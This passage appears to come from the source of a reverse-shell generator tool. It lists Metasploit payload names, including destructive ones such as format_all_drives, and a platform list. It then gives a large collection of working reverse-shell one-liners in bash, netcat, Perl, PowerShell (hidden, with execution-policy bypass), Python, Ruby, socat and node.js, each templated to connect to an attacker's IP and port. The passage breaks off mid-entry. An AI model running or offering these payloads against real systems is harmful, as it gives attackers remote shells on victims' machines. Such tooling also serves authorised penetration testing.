	{ "value": "linux/x86/meterpreter/bind_ipv6_tcp" },
	{ "value": "linux/x86/meterpreter/bind_ipv6_tcp_uuid" },
	{ "value": "linux/x86/meterpreter/bind_nonx_tcp" },
	{ "value": "linux/x86/meterpreter/bind_tcp" },
	{ "value": "linux/x86/meterpreter/bind_tcp_uuid" },
	{ "value": "linux/x86/meterpreter/find_tag" },
	{ "value": "linux/x86/meterpreter/reverse_ipv6_tcp" },
	{ "value": "linux/x86/meterpreter/reverse_nonx_tcp" },
	{ "value": "linux/x86/meterpreter/reverse_tcp" },
	{ "value": "linux/x86/meterpreter/reverse_tcp_uuid" },
	{ "value": "linux/x86/meterpreter_reverse_http" },
	{ "value": "linux/x86/meterpreter_reverse_https" },
	{ "value": "linux/x86/meterpreter_reverse_tcp" },
	{ "value": "linux/x86/metsvc_bind_tcp" },
	{ "value": "linux/x86/metsvc_reverse_tcp" },
	{ "value": "linux/x86/read_file" },
	{ "value": "linux/x86/shell/bind_ipv6_tcp" },
	{ "value": "linux/x86/shell/bind_ipv6_tcp_uuid" },
	{ "value": "linux/x86/shell/bind_nonx_tcp" },
	{ "value": "linux/x86/shell/bind_tcp" },
	{ "value": "linux/x86/shell/bind_tcp_uuid" },
	{ "value": "linux/x86/shell/find_tag" },
	{ "value": "linux/x86/shell/reverse_ipv6_tcp" },
	{ "value": "linux/x86/shell/reverse_nonx_tcp" },
	{ "value": "linux/x86/shell/reverse_tcp" },
	{ "value": "linux/x86/shell/reverse_tcp_uuid" },
	{ "value": "linux/x86/shell_bind_ipv6_tcp" },
	{ "value": "linux/x86/shell_bind_tcp" },
	{ "value": "linux/x86/shell_bind_tcp_random_port" },
	{ "value": "linux/x86/shell_find_port" },
	{ "value": "linux/x86/shell_find_tag" },
	{ "value": "linux/x86/shell_reverse_tcp" },
	{ "value": "linux/x86/shell_reverse_tcp_ipv6" },
	{ "value": "linux/zarch/meterpreter_reverse_http" },
	{ "value": "linux/zarch/meterpreter_reverse_https" },
	{ "value": "linux/zarch/meterpreter_reverse_tcp" },
	{ "value": "mainframe/shell_reverse_tcp" },
	{ "value": "multi/meterpreter/reverse_http" },
	{ "value": "multi/meterpreter/reverse_https" },
	{ "value": "netware/shell/reverse_tcp" },
	{ "value": "nodejs/shell_bind_tcp" },
	{ "value": "nodejs/shell_reverse_tcp" },
	{ "value": "nodejs/shell_reverse_tcp_ssl" },
	{ "value": "osx/armle/execute/bind_tcp" },
	{ "value": "osx/armle/execute/reverse_tcp" },
	{ "value": "osx/armle/shell/bind_tcp" },
	{ "value": "osx/armle/shell/reverse_tcp" },
	{ "value": "osx/armle/shell_bind_tcp" },
	{ "value": "osx/armle/shell_reverse_tcp" },
	{ "value": "osx/armle/vibrate" },
	{ "value": "osx/ppc/shell/bind_tcp" },
	{ "value": "osx/ppc/shell/find_tag" },
	{ "value": "osx/ppc/shell/reverse_tcp" },
	{ "value": "osx/ppc/shell_bind_tcp" },
	{ "value": "osx/ppc/shell_reverse_tcp" },
	{ "value": "osx/x64/dupandexecve/bind_tcp" },
	{ "value": "osx/x64/dupandexecve/reverse_tcp" },
	{ "value": "osx/x64/exec" },
	{ "value": "osx/x64/meterpreter/bind_tcp" },
	{ "value": "osx/x64/meterpreter/reverse_tcp" },
	{ "value": "osx/x64/meterpreter_reverse_http" },
	{ "value": "osx/x64/meterpreter_reverse_https" },
	{ "value": "osx/x64/meterpreter_reverse_tcp" },
	{ "value": "osx/x64/say" },
	{ "value": "osx/x64/shell_bind_tcp" },
	{ "value": "osx/x64/shell_find_tag" },
	{ "value": "osx/x64/shell_reverse_tcp" },
	{ "value": "osx/x86/bundleinject/bind_tcp" },
	{ "value": "osx/x86/bundleinject/reverse_tcp" },
	{ "value": "osx/x86/exec" },
	{ "value": "osx/x86/isight/bind_tcp" },
	{ "value": "osx/x86/isight/reverse_tcp" },
	{ "value": "osx/x86/shell_bind_tcp" },
	{ "value": "osx/x86/shell_find_port" },
	{ "value": "osx/x86/shell_reverse_tcp" },
	{ "value": "osx/x86/vforkshell/bind_tcp" },
	{ "value": "osx/x86/vforkshell/reverse_tcp" },
	{ "value": "osx/x86/vforkshell_bind_tcp" },
	{ "value": "osx/x86/vforkshell_reverse_tcp" },
	{ "value": "php/bind_perl" },
	{ "value": "php/bind_perl_ipv6" },
	{ "value": "php/bind_php" },
	{ "value": "php/bind_php_ipv6" },
	{ "value": "php/download_exec" },
	{ "value": "php/exec" },
	{ "value": "php/meterpreter/bind_tcp" },
	{ "value": "php/meterpreter/bind_tcp_ipv6" },
	{ "value": "php/meterpreter/bind_tcp_ipv6_uuid" },
	{ "value": "php/meterpreter/bind_tcp_uuid" },
	{ "value": "php/meterpreter/reverse_tcp" },
	{ "value": "php/meterpreter/reverse_tcp_uuid" },
	{ "value": "php/meterpreter_reverse_tcp" },
	{ "value": "php/reverse_perl" },
	{ "value": "php/reverse_php" },
	{ "value": "php/shell_findsock" },
	{ "value": "python/meterpreter/bind_tcp" },
	{ "value": "python/meterpreter/bind_tcp_uuid" },
	{ "value": "python/meterpreter/reverse_http" },
	{ "value": "python/meterpreter/reverse_https" },
	{ "value": "python/meterpreter/reverse_tcp" },
	{ "value": "python/meterpreter/reverse_tcp_ssl" },
	{ "value": "python/meterpreter/reverse_tcp_uuid" },
	{ "value": "python/meterpreter_bind_tcp" },
	{ "value": "python/meterpreter_reverse_http" },
	{ "value": "python/meterpreter_reverse_https" },
	{ "value": "python/meterpreter_reverse_tcp" },
	{ "value": "python/shell_bind_tcp" },
	{ "value": "python/shell_reverse_tcp" },
	{ "value": "python/shell_reverse_tcp_ssl" },
	{ "value": "python/shell_reverse_udp" },
	{ "value": "r/shell_bind_tcp" },
	{ "value": "r/shell_reverse_tcp" },
	{ "value": "ruby/shell_bind_tcp" },
	{ "value": "ruby/shell_bind_tcp_ipv6" },
	{ "value": "ruby/shell_reverse_tcp" },
	{ "value": "ruby/shell_reverse_tcp_ssl" },
	{ "value": "solaris/sparc/shell_bind_tcp" },
	{ "value": "solaris/sparc/shell_find_port" },
	{ "value": "solaris/sparc/shell_reverse_tcp" },
	{ "value": "solaris/x86/shell_bind_tcp" },
	{ "value": "solaris/x86/shell_find_port" },
	{ "value": "solaris/x86/shell_reverse_tcp" },
	{ "value": "tty/unix/interact" },
	{ "value": "windows/adduser" },
	{ "value": "windows/dllinject/bind_hidden_ipknock_tcp" },
	{ "value": "windows/dllinject/bind_hidden_tcp" },
	{ "value": "windows/dllinject/bind_ipv6_tcp" },
	{ "value": "windows/dllinject/bind_ipv6_tcp_uuid" },
	{ "value": "windows/dllinject/bind_named_pipe" },
	{ "value": "windows/dllinject/bind_nonx_tcp" },
	{ "value": "windows/dllinject/bind_tcp" },
	{ "value": "windows/dllinject/bind_tcp_rc4" },
	{ "value": "windows/dllinject/bind_tcp_uuid" },
	{ "value": "windows/dllinject/find_tag" },
	{ "value": "windows/dllinject/reverse_hop_http" },
	{ "value": "windows/dllinject/reverse_http" },
	{ "value": "windows/dllinject/reverse_http_proxy_pstore" },
	{ "value": "windows/dllinject/reverse_ipv6_tcp" },
	{ "value": "windows/dllinject/reverse_nonx_tcp" },
	{ "value": "windows/dllinject/reverse_ord_tcp" },
	{ "value": "windows/dllinject/reverse_tcp" },
	{ "value": "windows/dllinject/reverse_tcp_allports" },
	{ "value": "windows/dllinject/reverse_tcp_dns" },
	{ "value": "windows/dllinject/reverse_tcp_rc4" },
	{ "value": "windows/dllinject/reverse_tcp_rc4_dns" },
	{ "value": "windows/dllinject/reverse_tcp_uuid" },
	{ "value": "windows/dllinject/reverse_udp" },
	{ "value": "windows/dllinject/reverse_winhttp" },
	{ "value": "windows/dns_txt_query_exec" },
	{ "value": "windows/download_exec" },
	{ "value": "windows/exec" },
	{ "value": "windows/format_all_drives" },
	{ "value": "windows/loadlibrary" },
	{ "value": "windows/messagebox" },
	{ "value": "windows/meterpreter/bind_hidden_ipknock_tcp" },
	{ "value": "windows/meterpreter/bind_hidden_tcp" },
	{ "value": "windows/meterpreter/bind_ipv6_tcp" },
	{ "value": "windows/meterpreter/bind_ipv6_tcp_uuid" },
	{ "value": "windows/meterpreter/bind_named_pipe" },
	{ "value": "windows/meterpreter/bind_nonx_tcp" },
	{ "value": "windows/meterpreter/bind_tcp" },
	{ "value": "windows/meterpreter/bind_tcp_rc4" },
	{ "value": "windows/meterpreter/bind_tcp_uuid" },
	{ "value": "windows/meterpreter/find_tag" },
	{ "value": "windows/meterpreter/reverse_hop_http" },
	{ "value": "windows/meterpreter/reverse_http" },
	{ "value": "windows/meterpreter/reverse_http_proxy_pstore" },
	{ "value": "windows/meterpreter/reverse_https" },
	{ "value": "windows/meterpreter/reverse_https_proxy" },
	{ "value": "windows/meterpreter/reverse_ipv6_tcp" },
	{ "value": "windows/meterpreter/reverse_named_pipe" },
	{ "value": "windows/meterpreter/reverse_nonx_tcp" },
	{ "value": "windows/meterpreter/reverse_ord_tcp" },
	{ "value": "windows/meterpreter/reverse_tcp" },
	{ "value": "windows/meterpreter/reverse_tcp_allports" },
	{ "value": "windows/meterpreter/reverse_tcp_dns" },
	{ "value": "windows/meterpreter/reverse_tcp_rc4" },
	{ "value": "windows/meterpreter/reverse_tcp_rc4_dns" },
	{ "value": "windows/meterpreter/reverse_tcp_uuid" },
	{ "value": "windows/meterpreter/reverse_udp" },
	{ "value": "windows/meterpreter/reverse_winhttp" },
	{ "value": "windows/meterpreter/reverse_winhttps" },
	{ "value": "windows/meterpreter_bind_named_pipe" },
	{ "value": "windows/meterpreter_bind_tcp" },
	{ "value": "windows/meterpreter_reverse_http" },
	{ "value": "windows/meterpreter_reverse_https" },
	{ "value": "windows/meterpreter_reverse_ipv6_tcp" },
	{ "value": "windows/meterpreter_reverse_tcp" },
	{ "value": "windows/metsvc_bind_tcp" },
	{ "value": "windows/metsvc_reverse_tcp" },
	{ "value": "windows/patchupdllinject/bind_hidden_ipknock_tcp" },
	{ "value": "windows/patchupdllinject/bind_hidden_tcp" },
	{ "value": "windows/patchupdllinject/bind_ipv6_tcp" },
	{ "value": "windows/patchupdllinject/bind_ipv6_tcp_uuid" },
	{ "value": "windows/patchupdllinject/bind_named_pipe" },
	{ "value": "windows/patchupdllinject/bind_nonx_tcp" },
	{ "value": "windows/patchupdllinject/bind_tcp" },
	{ "value": "windows/patchupdllinject/bind_tcp_rc4" },
	{ "value": "windows/patchupdllinject/bind_tcp_uuid" },
	{ "value": "windows/patchupdllinject/find_tag" },
	{ "value": "windows/patchupdllinject/reverse_ipv6_tcp" },
	{ "value": "windows/patchupdllinject/reverse_nonx_tcp" },
	{ "value": "windows/patchupdllinject/reverse_ord_tcp" },
	{ "value": "windows/patchupdllinject/reverse_tcp" },
	{ "value": "windows/patchupdllinject/reverse_tcp_allports" },
	{ "value": "windows/patchupdllinject/reverse_tcp_dns" },
	{ "value": "windows/patchupdllinject/reverse_tcp_rc4" },
	{ "value": "windows/patchupdllinject/reverse_tcp_rc4_dns" },
	{ "value": "windows/patchupdllinject/reverse_tcp_uuid" },
	{ "value": "windows/patchupdllinject/reverse_udp" },
	{ "value": "windows/patchupmeterpreter/bind_hidden_ipknock_tcp" },
	{ "value": "windows/patchupmeterpreter/bind_hidden_tcp" },
	{ "value": "windows/patchupmeterpreter/bind_ipv6_tcp" },
	{ "value": "windows/patchupmeterpreter/bind_ipv6_tcp_uuid" },
	{ "value": "windows/patchupmeterpreter/bind_named_pipe" },
	{ "value": "windows/patchupmeterpreter/bind_nonx_tcp" },
	{ "value": "windows/patchupmeterpreter/bind_tcp" },
	{ "value": "windows/patchupmeterpreter/bind_tcp_rc4" },
	{ "value": "windows/patchupmeterpreter/bind_tcp_uuid" },
	{ "value": "windows/patchupmeterpreter/find_tag" },
	{ "value": "windows/patchupmeterpreter/reverse_ipv6_tcp" },
	{ "value": "windows/patchupmeterpreter/reverse_nonx_tcp" },
	{ "value": "windows/patchupmeterpreter/reverse_ord_tcp" },
	{ "value": "windows/patchupmeterpreter/reverse_tcp" },
	{ "value": "windows/patchupmeterpreter/reverse_tcp_allports" },
	{ "value": "windows/patchupmeterpreter/reverse_tcp_dns" },
	{ "value": "windows/patchupmeterpreter/reverse_tcp_rc4" },
	{ "value": "windows/patchupmeterpreter/reverse_tcp_rc4_dns" },
	{ "value": "windows/patchupmeterpreter/reverse_tcp_uuid" },
	{ "value": "windows/patchupmeterpreter/reverse_udp" },
	{ "value": "windows/powershell_bind_tcp" },
	{ "value": "windows/powershell_reverse_tcp" },
	{ "value": "windows/shell/bind_hidden_ipknock_tcp" },
	{ "value": "windows/shell/bind_hidden_tcp" },
	{ "value": "windows/shell/bind_ipv6_tcp" },
	{ "value": "windows/shell/bind_ipv6_tcp_uuid" },
	{ "value": "windows/shell/bind_named_pipe" },
	{ "value": "windows/shell/bind_nonx_tcp" },
	{ "value": "windows/shell/bind_tcp" },
	{ "value": "windows/shell/bind_tcp_rc4" },
	{ "value": "windows/shell/bind_tcp_uuid" },
	{ "value": "windows/shell/find_tag" },
	{ "value": "windows/shell/reverse_ipv6_tcp" },
	{ "value": "windows/shell/reverse_nonx_tcp" },
	{ "value": "windows/shell/reverse_ord_tcp" },
	{ "value": "windows/shell/reverse_tcp" },
	{ "value": "windows/shell/reverse_tcp_allports" },
	{ "value": "windows/shell/reverse_tcp_dns" },
	{ "value": "windows/shell/reverse_tcp_rc4" },
	{ "value": "windows/shell/reverse_tcp_rc4_dns" },
	{ "value": "windows/shell/reverse_tcp_uuid" },
	{ "value": "windows/shell/reverse_udp" },
	{ "value": "windows/shell_bind_tcp" },
	{ "value": "windows/shell_bind_tcp_xpfw" },
	{ "value": "windows/shell_hidden_bind_tcp" },
	{ "value": "windows/shell_reverse_tcp" },
	{ "value": "windows/speak_pwned" },
	{ "value": "windows/upexec/bind_hidden_ipknock_tcp" },
	{ "value": "windows/upexec/bind_hidden_tcp" },
	{ "value": "windows/upexec/bind_ipv6_tcp" },
	{ "value": "windows/upexec/bind_ipv6_tcp_uuid" },
	{ "value": "windows/upexec/bind_named_pipe" },
	{ "value": "windows/upexec/bind_nonx_tcp" },
	{ "value": "windows/upexec/bind_tcp" },
	{ "value": "windows/upexec/bind_tcp_rc4" },
	{ "value": "windows/upexec/bind_tcp_uuid" },
	{ "value": "windows/upexec/find_tag" },
	{ "value": "windows/upexec/reverse_ipv6_tcp" },
	{ "value": "windows/upexec/reverse_nonx_tcp" },
	{ "value": "windows/upexec/reverse_ord_tcp" },
	{ "value": "windows/upexec/reverse_tcp" },
	{ "value": "windows/upexec/reverse_tcp_allports" },
	{ "value": "windows/upexec/reverse_tcp_dns" },
	{ "value": "windows/upexec/reverse_tcp_rc4" },
	{ "value": "windows/upexec/reverse_tcp_rc4_dns" },
	{ "value": "windows/upexec/reverse_tcp_uuid" },
	{ "value": "windows/upexec/reverse_udp" },
	{ "value": "windows/vncinject/bind_hidden_ipknock_tcp" },
	{ "value": "windows/vncinject/bind_hidden_tcp" },
	{ "value": "windows/vncinject/bind_ipv6_tcp" },
	{ "value": "windows/vncinject/bind_ipv6_tcp_uuid" },
	{ "value": "windows/vncinject/bind_named_pipe" },
	{ "value": "windows/vncinject/bind_nonx_tcp" },
	{ "value": "windows/vncinject/bind_tcp" },
	{ "value": "windows/vncinject/bind_tcp_rc4" },
	{ "value": "windows/vncinject/bind_tcp_uuid" },
	{ "value": "windows/vncinject/find_tag" },
	{ "value": "windows/vncinject/reverse_hop_http" },
	{ "value": "windows/vncinject/reverse_http" },
	{ "value": "windows/vncinject/reverse_http_proxy_pstore" },
	{ "value": "windows/vncinject/reverse_ipv6_tcp" },
	{ "value": "windows/vncinject/reverse_nonx_tcp" },
	{ "value": "windows/vncinject/reverse_ord_tcp" },
	{ "value": "windows/vncinject/reverse_tcp" },
	{ "value": "windows/vncinject/reverse_tcp_allports" },
	{ "value": "windows/vncinject/reverse_tcp_dns" },
	{ "value": "windows/vncinject/reverse_tcp_rc4" },
	{ "value": "windows/vncinject/reverse_tcp_rc4_dns" },
	{ "value": "windows/vncinject/reverse_tcp_uuid" },
	{ "value": "windows/vncinject/reverse_udp" },
	{ "value": "windows/vncinject/reverse_winhttp" },
	{ "value": "windows/x64/exec" },
	{ "value": "windows/x64/loadlibrary" },
	{ "value": "windows/x64/meterpreter/bind_ipv6_tcp" },
	{ "value": "windows/x64/meterpreter/bind_ipv6_tcp_uuid" },
	{ "value": "windows/x64/meterpreter/bind_named_pipe" },
	{ "value": "windows/x64/meterpreter/bind_tcp" },
	{ "value": "windows/x64/meterpreter/bind_tcp_uuid" },
	{ "value": "windows/x64/meterpreter/reverse_http" },
	{ "value": "windows/x64/meterpreter/reverse_https" },
	{ "value": "windows/x64/meterpreter/reverse_named_pipe" },
	{ "value": "windows/x64/meterpreter/reverse_tcp" },
	{ "value": "windows/x64/meterpreter/reverse_tcp_rc4" },
	{ "value": "windows/x64/meterpreter/reverse_tcp_uuid" },
	{ "value": "windows/x64/meterpreter/reverse_winhttp" },
	{ "value": "windows/x64/meterpreter/reverse_winhttps" },
	{ "value": "windows/x64/meterpreter_bind_named_pipe" },
	{ "value": "windows/x64/meterpreter_bind_tcp" },
	{ "value": "windows/x64/meterpreter_reverse_http" },
	{ "value": "windows/x64/meterpreter_reverse_https" },
	{ "value": "windows/x64/meterpreter_reverse_ipv6_tcp" },
	{ "value": "windows/x64/meterpreter_reverse_tcp" },
	{ "value": "windows/x64/powershell_bind_tcp" },
	{ "value": "windows/x64/powershell_reverse_tcp" },
	{ "value": "windows/x64/shell/bind_ipv6_tcp" },
	{ "value": "windows/x64/shell/bind_ipv6_tcp_uuid" },
	{ "value": "windows/x64/shell/bind_named_pipe" },
	{ "value": "windows/x64/shell/bind_tcp" },
	{ "value": "windows/x64/shell/bind_tcp_uuid" },
	{ "value": "windows/x64/shell/reverse_tcp" },
	{ "value": "windows/x64/shell/reverse_tcp_rc4" },
	{ "value": "windows/x64/shell/reverse_tcp_uuid" },
	{ "value": "windows/x64/shell_bind_tcp" },
	{ "value": "windows/x64/shell_reverse_tcp" },
	{ "value": "windows/x64/vncinject/bind_ipv6_tcp" },
	{ "value": "windows/x64/vncinject/bind_ipv6_tcp_uuid" },
	{ "value": "windows/x64/vncinject/bind_named_pipe" },
	{ "value": "windows/x64/vncinject/bind_tcp" },
	{ "value": "windows/x64/vncinject/bind_tcp_uuid" },
	{ "value": "windows/x64/vncinject/reverse_http" },
	{ "value": "windows/x64/vncinject/reverse_https" },
	{ "value": "windows/x64/vncinject/reverse_tcp" },
	{ "value": "windows/x64/vncinject/reverse_tcp_rc4" },
	{ "value": "windows/x64/vncinject/reverse_tcp_uuid" },
	{ "value": "windows/x64/vncinject/reverse_winhttp" },
	{ "value": "windows/x64/vncinject/reverse_winhttps" }
]


================================================
FILE: src/assets/data/Platform.json
================================================
[
	{ "value": "aix" },
	{ "value": "android" },
	{ "value": "apple_ios" },
	{ "value": "bsd" },
	{ "value": "bsdi" },
	{ "value": "cisco" },
	{ "value": "firefox" },
	{ "value": "freebsd" },
	{ "value": "hardware" },
	{ "value": "hpux" },
	{ "value": "irix" },
	{ "value": "java" },
	{ "value": "javascript" },
	{ "value": "juniper" },
	{ "value": "linux" },
	{ "value": "mainframe" },
	{ "value": "multi" },
	{ "value": "netbsd" },
	{ "value": "netware" },
	{ "value": "nodejs" },
	{ "value": "openbsd" },
	{ "value": "osx" },
	{ "value": "php" },
	{ "value": "python" },
	{ "value": "r" },
	{ "value": "ruby" },
	{ "value": "solaris" },
	{ "value": "unix" },
	{ "value": "windows" }
]


================================================
FILE: src/assets/data/RevShell.json
================================================
[
    {
        "name": "Bash -i",
        "command": "{shell} -i >& /dev/tcp/${values.ip}/${values.port} 0>&1",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "Bash 196",
        "command": "0<&196;exec 196<>/dev/tcp/${values.ip}/${values.port}; {shell} <&196 >&196 2>&196",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "Bash read line",
        "command": "exec 5<>/dev/tcp/${values.ip}/${values.port};cat <&5 | while read line; do $line 2>&5 >&5; done",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "Bash 5",
        "command": "{shell} -i 5<> /dev/tcp/${values.ip}/${values.port} 0<&5 1>&5 2>&5",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "Bash udp",
        "command": "{shell} -i >& /dev/udp/${values.ip}/${values.port} 0>&1",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "nc mkfifo",
        "command": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|nc ${values.ip} ${values.port} >/tmp/f",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "nc -e",
        "command": "nc ${values.ip} ${values.port} -e {shell}",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "nc.exe -e",
        "command": "nc.exe ${values.ip} ${values.port} -e {shell}",
        "tags": [
            "windows"
        ]
    },
    {
        "name": "nc -c",
        "command": "nc -c {shell} ${values.ip} ${values.port}",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "ncat -e",
        "command": "ncat ${values.ip} ${values.port} -e {shell}",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "ncat.exe -e",
        "command": "ncat.exe ${values.ip} ${values.port} -e {shell}",
        "tags": [
            "windows"
        ]
    },
    {
        "name": "ncat udp",
        "command": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|ncat -u ${values.ip} ${values.port} >/tmp/f",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "rustcat",
        "command": "rcat ${values.ip} ${values.port} -r {shell}",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "Haskell #1",
        "command": "module Main where\n\nimport System.Process\n\nmain = callCommand \"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | {shell} -i 2>&1 | nc ${values.ip} ${values.port} >/tmp/f\"",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "Perl",
        "command": "perl -e 'use Socket;$i=\"${values.ip}\";$p=${values.port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"{shell} -i\");};'",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "Perl no sh",
        "command": "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"${values.ip}:${values.port}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "PowerShell #1",
        "command": "powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(\"${values.ip}\",${values.port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()",
        "tags": [
            "windows"
        ]
    },
    {
        "name": "PowerShell #2",
        "command": "powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('${values.ip}',${values.port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"",
        "tags": [
            "windows"
        ]
    },
    {
        "name": "PowerShell #3",
        "command": "powershell -nop -W hidden -noni -ep bypass -c \"$TCPClient = New-Object Net.Sockets.TCPClient('${values.ip}', ${values.port});$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()\"",
        "tags": [
            "windows"
        ]
    },
    {
        "name": "PowerShell #4 (TLS)",
        "command": "powershell -nop -W hidden -noni -ep bypass -c \"$TCPClient = New-Object Net.Sockets.TCPClient('${values.ip}', ${values.port});$NetworkStream = $TCPClient.GetStream();$SslStream = New-Object Net.Security.SslStream($NetworkStream,$false,({$true} -as [Net.Security.RemoteCertificateValidationCallback]));$SslStream.AuthenticateAsClient('cloudflare-dns.com',$null,$false);if(!$SslStream.IsEncrypted -or !$SslStream.IsSigned) {$SslStream.Close();exit}$StreamWriter = New-Object IO.StreamWriter($SslStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()};WriteToStream '';while(($BytesRead = $SslStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()\"",
        "tags": [
            "windows"
        ]
    },
    {
        "name": "Python #1",
        "command": "export RHOST=\"${values.ip}\";export RPORT=${values.port};python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"{shell}\")'",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "Python #2",
        "command": "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"${values.ip}\",${values.port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"{shell}\")'",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "Python3 #1",
        "command": "export RHOST=\"${values.ip}\";export RPORT=${values.port};python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"{shell}\")'",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "Python3 #2",
        "command": "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"${values.ip}\",${values.port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"{shell}\")'",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "Python3 Windows",
        "command": "import os,socket,subprocess,threading;\ndef s2p(s, p):\n    while True:\n        data = s.recv(1024)\n        if len(data) > 0:\n            p.stdin.write(data)\n            p.stdin.flush()\n\ndef p2s(s, p):\n    while True:\n        s.send(p.stdout.read(1))\n\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect((\"${values.ip}\",${values.port}))\n\np=subprocess.Popen([\"{shell}\"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)\n\ns2p_thread = threading.Thread(target=s2p, args=[s, p])\ns2p_thread.daemon = True\ns2p_thread.start()\n\np2s_thread = threading.Thread(target=p2s, args=[s, p])\np2s_thread.daemon = True\np2s_thread.start()\n\ntry:\n    p.wait()\nexcept KeyboardInterrupt:\n    s.close()",
        "tags": [
            "windows"
        ]
    },
    {
        "name": "Python3 shortest",
        "command": "python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"${values.ip}\",${values.port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"{shell}\")'",
        "tags": [
            "linux"
        ]
    },
    {
        "name": "Ruby #1",
        "command": "ruby -rsocket -e'spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"${values.ip}\",${values.port}))'",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "Ruby no sh",
        "command": "ruby -rsocket -e'exit if fork;c=TCPSocket.new(\"${values.ip}\",\"${values.port}\");loop{c.gets.chomp!;(exit! if $_==\"exit\");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts \"failed: #{$_}\"}'",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "socat #1",
        "command": "socat TCP:${values.ip}:${values.port} EXEC:{shell}",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "socat #2 (TTY)",
        "command": "socat TCP:${values.ip}:${values.port} EXEC:'{shell}',pty,stderr,setsid,sigint,sane",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "node.js",
        "command": "require('child_process').exec('nc -e {shell} ${values.ip} ${values.port}')",
        "tags": [
            "linux",
            "mac"
        ]
    },
    {
        "name": "node.js #2",
